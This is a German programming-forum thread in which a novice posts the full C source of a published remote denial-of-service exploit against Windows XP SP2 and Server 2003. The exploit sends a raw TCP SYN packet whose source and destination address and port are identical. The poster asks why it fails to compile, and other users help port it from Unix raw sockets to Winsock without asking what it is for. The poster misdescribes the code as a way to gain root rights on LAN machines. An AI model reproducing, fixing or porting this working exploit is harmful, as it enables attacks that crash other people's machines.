Fehler beim Komipilieren

  • C++

  • Kalinski
  • 1340 Aufrufe 6 Antworten
  • Fehler beim Komipilieren

    Hi,

    Erstmal die vorgeschichte:
    Ich hab erst zufällig einen sehr netten Exploit auf h**p://www.buha.info gefunden. Der Exploit soll dazu dienen im LAN Root Rechte auf WinXP Maschinen zu bekommen, hörte sich alles soweit ganz interessant an, leider war das Proggi nur als Sourcecode zu laden. Naja hab ich gemacht, mit MS Visual C++ geöffnet und wollte es einfach kompilieren, leider bekomme ich jedes mal ne Fehlermeldung und da ich nicht der begabteste C-Programmierer bin, wollte ich fragen ob ihr wisst an was es liegt

    C-Quellcode

    1. #include <stdio.h>
    2. #include <ctype.h>
    3. [COLOR=Red]#include <sys/socket.h> [/COLOR]
    4. #include <netinet/in.h>
    5. #include <netinet/in_systm.h>
    6. #include <netinet/ip.h>
    7. #include <netinet/tcp.h>
    8. #include <sysexits.h>
    9. #include <stdlib.h>
    10. #include <unistd.h>
    11. #include <sys/types.h>
    12. /*
    13. Windows Server 2003 and XP SP2 remote DoS exploit
    14. Tested under OpenBSD 3.6 at WinXP SP 2
    15. Vuln by Dejan Levaja <dejan_@_levaja.com>
    16. (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
    17. Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
    18. Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
    19. All rights reserved.
    20. */
    21. //checksum function by r0ach
    22. u_short checksum (u_short *addr, int len)
    23. {
    24. u_short *w = addr;
    25. int i = len;
    26. int sum = 0;
    27. u_short answer;
    28. while (i > 0)
    29. {
    30. sum += *w++;
    31. i-=2;
    32. }
    33. if (i == 1) sum += *(u_char *)w;
    34. sum = (sum >> 16) + (sum & 0xffff);
    35. sum = sum + (sum >> 16);
    36. return (~sum);
    37. }
    38. int main(int argc, char ** argv)
    39. {
    40. struct in_addr src, dst;
    41. struct sockaddr_in sin;
    42. struct _pseudoheader {
    43. struct in_addr source_addr;
    44. struct in_addr destination_addr;
    45. u_char zero;
    46. u_char protocol;
    47. u_short length;
    48. } pseudoheader;
    49. struct ip * iph;
    50. struct tcphdr * tcph;
    51. int mysock;
    52. u_char * packet;
    53. u_char * pseudopacket;
    54. int on = 1;
    55. if( argc != 3)
    56. {
    57. fprintf(stderr, "r57windos.c by __blf\n");
    58. fprintf(stderr, "RusH Security Team\n");
    59. fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
    60. return EX_USAGE;
    61. }
    62. if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
    63. {
    64. perror("malloc()\n");
    65. return EX_OSERR;
    66. }
    67. inet_aton(argv[1], &src);
    68. inet_aton(argv[1], &dst);
    69. iph = (struct ip *) packet;
    70. iph->ip_v = IPVERSION;
    71. iph->ip_hl = 5;
    72. iph->ip_tos = 0;
    73. iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
    74. iph->ip_off = htons(IP_DF);
    75. iph->ip_ttl = 255;
    76. iph->ip_p = IPPROTO_TCP;
    77. iph->ip_sum = 0;
    78. iph->ip_src = src;
    79. iph->ip_dst = dst;
    80. tcph = (struct tcphdr *)(packet +sizeof(struct ip));
    81. tcph->th_sport = htons(atoi(argv[2]));
    82. tcph->th_dport = htons(atoi(argv[2]));
    83. tcph->th_seq = ntohl(rand());
    84. tcph->th_ack = rand();
    85. tcph->th_off = 5;
    86. tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
    87. tcph->th_win = htons(512);
    88. tcph->th_sum = 0;
    89. tcph->th_urp = 0;
    90. pseudoheader.source_addr = src;
    91. pseudoheader.destination_addr = dst;
    92. pseudoheader.zero = 0;
    93. pseudoheader.protocol = IPPROTO_TCP;
    94. pseudoheader.length = htons(sizeof(struct tcphdr));
    95. if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
    96. {
    97. perror("malloc()\n");
    98. return EX_OSERR;
    99. }
    100. memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
    101. memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
    102. tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
    103. mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    104. if(!mysock)
    105. {
    106. perror("socket!\n");
    107. return EX_OSERR;
    108. }
    109. if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
    110. {
    111. perror("setsockopt");
    112. shutdown(mysock, 2);
    113. return EX_OSERR;
    114. }
    115. sin.sin_family = PF_INET;
    116. sin.sin_addr = dst;
    117. sin.sin_port = htons(80);
    118. if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
    119. (struct sockaddr *)&sin, sizeof(sin)) == -1)
    120. {
    121. perror("sendto()\n");
    122. shutdown(mysock, 2);
    123. return EX_OSERR;
    124. }
    125. printf("Packet sent. Remote machine should be down.\n");
    126. shutdown(mysock, 2);
    127. return EX_OK;
    128. }
    Alles anzeigen


    Dies hier ist die Fehlermeldung:

    c:\win xp lan-dos exploit\buha_exploits_id_60_dlfile.c(3) : fatal error C1083: Include-Datei kann nicht geoeffnet werden: 'sys/socket.h': No such file or directory (bezieht sich auf die rote Markierung im Code)

    Ich hoffe irgendwer kann mir helfen, hab zwar schon gegoogelt, aber nichts wirklich sinnvolles gefunden.... Wenn ich das #include<sys/socket.h> weglasse, dann ist der Befehl darunter Fehler haft, kann es sein, das es an dem Slash liegt? Was soll ich tun?
  • such doch einfach mal unter windows nach der socket.h....

    das ist eine datei die zum kompilieren benötigt wird...

    Der Rest darunter übrigens auch....
    [SIZE=1]
    Was ist der Unterschied zwischen einem U-Boot und MS Windows?
    Keiner, sobald man ein Fenster aufmacht, fangen die Probleme an
    Alle Tips von mir ohne Gewähr und auf eigenes Risiko !!
    UP1 UP2 UP3[/SIZE][SIZE=1]
    [/SIZE]
  • So ich hab jetzt mal danach gesucht, aber ich hab die datei nicht gefunden, kannst du mir vielleicht sagen, wo ich die datei/en herbekomme? weißt du das zufällig? wäre schon cool wenn du das wüßtest
  • Die Headerdatei bekommst du daher wo den Exploit her hast, ansonsten mal den Dateinamen bei google eingeben.

    Hast du überhaupt die Verzeichnisse sys und netinit in deinem Programmpfad?

    cya
    [SIZE=1]Dumme Antworten sind rein zufällig und auf einen Fehler in der Speicherverwaltung zurückzuführen
    [/SIZE]
  • Das finde ich ja wirklich lustig dass du nen für Unix-Systeme geschriebenen Exploit unter Win32 compilen willst. ;)

    Mach mal aus der ganzen Header-Liste folgendes:

    C-Quellcode

    1. #include <stdio.h> // vorsicht C code ^^
    2. #include <winsock2.h>
    3. #pragma comment(lib, "ws2_32") // sagt dem linker er soll ws2_32.lib mit linken (windows sockets)
    4. #include <windows.h>
    5. #define EX_OK 0 // steht wohl in irgendsonem unix-header drinne, ich nehme mal an
    6. #define EX_OSERR -1 // dass 0 und -1 die werte sein sollen
    7. typedef USHORT u_short // USHORT und BYTE sind in windows.h drinne und stehen für
    8. typedef BYTE u_char // unsigned short und unsigned char, ka warum der exploit-coder das hier genommen hat
    So was sonst noch an diesem ansi-schrottcode fehlerhaft ist kann ich nicht vorhersehen, vllt fehlt ihm auch noch stdlib.h oder sowas.

    Sache ist jedenfalls die, dass du den Unix-Code für Win32 umschreiben musst, vielleicht ist es mit dem Code da oben ja schon getan.
  • ich hoffe allein mit dem code da oben gehts schon, ich bin in C nicht so das Genie, VB geht ja noch, bloß bei C hab ich schon Probleme wenn ich nur irgend ein Programm zum berechnen eines Wertes schreiben will...

    //e: naja klappt doch nicht, nachdem er jetzt oben durch kommt findet er im source allein 44 fehler... naja egal, ist jetzt nicht so schlimm...